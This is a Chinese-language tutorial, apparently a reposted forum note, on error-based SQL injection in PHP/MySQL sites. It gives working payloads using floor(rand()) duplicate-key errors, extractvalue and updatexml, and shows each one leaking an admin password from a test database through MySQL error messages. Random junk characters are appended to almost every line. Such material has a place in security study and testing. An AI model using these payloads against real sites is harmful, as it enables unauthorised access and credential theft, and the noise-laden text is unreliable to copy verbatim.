放点原来的笔记,Mysql在执行语句的时候会抛出异常信息信息,而php+mysql架构的网站往往又将错误代码显示在页面上,这样可以通过构造如下三种方法获取特定数据。
# U" ^/ p6 a6 B9 ^实际测试环境:
. }; `% R, n. [. E! X; ]/ T$ }# Y
% H/ D s) A! T* _! b; m
! \" @( N: l$ K% @0 y" ~mysql> show tables;( ^: e% T/ l+ y/ o1 v6 }+ l/ C
+----------------+
( O: e" r/ P" Y2 u| Tables_in_test |; w3 R/ u" Y. ^
+----------------+
U8 K) T' |( b- @9 |" ~6 h| admin |8 r" R, Q# L% d: w" [; q
| article |
( N9 V: q/ l! P+ H3 j+----------------+% x7 P! U5 f# [ g
9 s9 w2 K: W( Q R8 T6 B: K
7 c: O1 k$ Z# [2 R
. n/ i1 v8 j# ]
mysql> describe admin;- S p( z" Z4 \3 {% g+ z% g& B
+-------+------------------+------+-----+---------+----------------+
# Y. y2 D0 K* N" n, u/ j: o/ Y| Field | Type | Null | Key | Default | Extra |
2 A8 a; ]9 C8 s) q" n) O+-------+------------------+------+-----+---------+----------------+2 c. N& b1 h( a y0 l
| id | int(10) unsigned | NO | PRI | NULL | auto_increment |) C1 y+ T. Z8 a; A" |9 o
| user | varchar(50) | NO | | NULL | |. y/ {$ k9 X& s! G1 _% w6 ~( m) [* l
| pass | varchar(50) | NO | | NULL | |9 K5 F! \& K1 D- Z7 C& G2 q2 ^0 u9 l" h
+-------+------------------+------+-----+---------+----------------+
% ~& o2 j" t R* E , r$ L7 ]) w8 o6 l* ~- I
5 F" A1 c8 s3 [' B( Q% K8 y8 Y 2 b. k! V \- S3 E# t
mysql> describe article;
" N6 W/ \) m+ V+---------+------------------+------+-----+---------+----------------+
- G5 g; \- f3 n5 N1 m! g| Field | Type | Null | Key | Default | Extra |# V7 ^# o& v2 H1 g; i( R0 E2 W
+---------+------------------+------+-----+---------+----------------+( z5 q5 F% {4 T, ^* l
| id | int(10) unsigned | NO | PRI | NULL | auto_increment |
8 e) h4 c5 K, c: \: b| title | varchar(50) | NO | | NULL | |, {2 f) o4 z, k- H& C. I
| content | varchar(50) | NO | | NULL | |
. l0 ^7 i8 _- O* F' ^/ E; d+---------+------------------+------+-----+---------+----------------+0 o) Z4 [" }* v M
1、通过floor报错& |/ ]. m8 X3 S3 @7 q8 V. J8 H
可以通过如下一些利用代码
& E [" H9 g$ d# P" ? 8 ~4 q3 A" W* E1 d1 w
: V- U0 O9 r* s5 l6 F, n2 F
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x: Q# m5 O; K: Q0 X2 h
from information_schema.tables group by x)a);" E6 e% o' Q2 S. b' z* G
' P) ~$ Z4 @( W8 H' v( v, k
$ p6 ]3 t5 g: J" Dand (select count(*) from (select 1 union select null union select !1)x5 A9 O& @& c0 o
group by concat((select table_name from information_schema.tables limit 1),
H) a% w* m8 _+ o- H$ p7 v2 {1 l2 bfloor(rand(0)*2)));% Y5 T8 E& h( x O1 w; N2 J
举例如下:2 ^) e, v$ o' X) W
首先进行正常查询:+ j9 ^2 E; e# k o
0 X6 w6 [' T8 L1 u7 s" e5 ?
mysql> select * from article where id = 1;7 E' ?. W4 h9 H: ~* m4 M8 O
+----+-------+---------+" K! {2 v& k) |8 M
| id | title | content |
' Z4 y7 }# |$ O1 T3 ?: r! e+----+-------+---------+
4 r+ F( l! W* D- t n5 ?1 z+ I5 M| 1 | test | do it |
! J& p1 l9 K6 j+----+-------+---------+
" M$ s: V% x7 g& F假如id输入存在注入的话,可以通过如下语句进行报错。: B7 {& ]5 a2 r+ J7 E3 P
2 T/ f& E, M* o# U$ v' o 7 N$ F) h O& @: w/ }
mysql> select * from article where id = 1 and (select 1 from3 S* P, `! M0 Y9 y8 K$ D
(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);0 v# F; q7 Z c, g- ]7 d2 q
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'9 X+ m- Y- L* _! }- G' u, D
可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。
' p: K4 o ^$ h. u' Y例如我们需要查询管理员用户名和密码:6 O+ s4 O: S' F9 m/ s ~
Method1:. l4 {; W9 n6 {0 _& D
) }' N: j# S9 G f! ?* o7 \
- Z. B+ Y2 e7 J& z5 N6 ?$ |mysql> select * from article where id = 1 and (select 1 from& D: I& ]. S9 N: L: \. P
(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
0 O- \1 W6 ?8 T; {from information_schema.tables group by x)a);/ i8 b+ Z: t) N- x/ Q; Q: t8 v
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'6 h& Z( L% L/ y; i- |1 k5 O
Method2:+ r0 _( j7 [ Q4 s4 R
4 W& x9 u' s0 `. X( F
4 X/ N: b( ^7 x; D& Z4 B6 amysql> select * from article where id = 1 and (select count(*) h I' O5 r( `+ e' Y6 y
from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),( i8 O, r" s$ p6 S* \/ ?' ^9 I8 I# D1 N
floor(rand(0)*2)));8 z; G( j" N- A& j( [
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'! a# C( X) a/ e- m
2、ExtractValue
: b4 B! b: L& ?$ b1 _$ Q测试语句如下
5 M) s" d& Y0 U! l 7 q" X7 Q0 r" X* \) N9 _9 _- q
2 N, O! J+ r' o# c4 Z$ G1 _and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
N3 x- I9 _* M: Y实际测试过程7 @, L! F i/ C% j0 m% ?
3 Q$ ]1 S2 m \1 z
% q) Z) S) K. y7 ?1 Smysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,, K0 w _& K& X1 h5 C P; x- A( ]$ \; u
(select pass from admin limit 1)));--" |3 C' |- e% Q
ERROR 1105 (HY000): XPATH syntax error: '\admin888', T: Z4 ]3 \1 R" K9 A
3、UpdateXml+ u/ }5 P9 S3 s7 b+ L% C
测试语句
( H& p. A0 S4 j; e" I7 B" U- W 2 H1 L& M; w8 E4 G5 b8 v
. k8 X" H8 Z! |7 h2 X$ s
and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
+ a( |0 v5 A. u实际测试过程
, B/ {5 E6 d1 M/ R , g9 E* y7 m5 m: D
9 Y1 e0 }$ V2 K6 \0 Emysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
) _( i7 L* F a. r1 R(select pass from admin limit 1),0x5e24),1));1 f; ^% q" i* J8 V
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$' z( |3 E; s2 m4 G' S
All, thanks foreign guys.& o. y6 X/ l& K& L* j) i2 p
; W+ h0 K, e/ s( P6 L' j w# m1 M. o- ?
|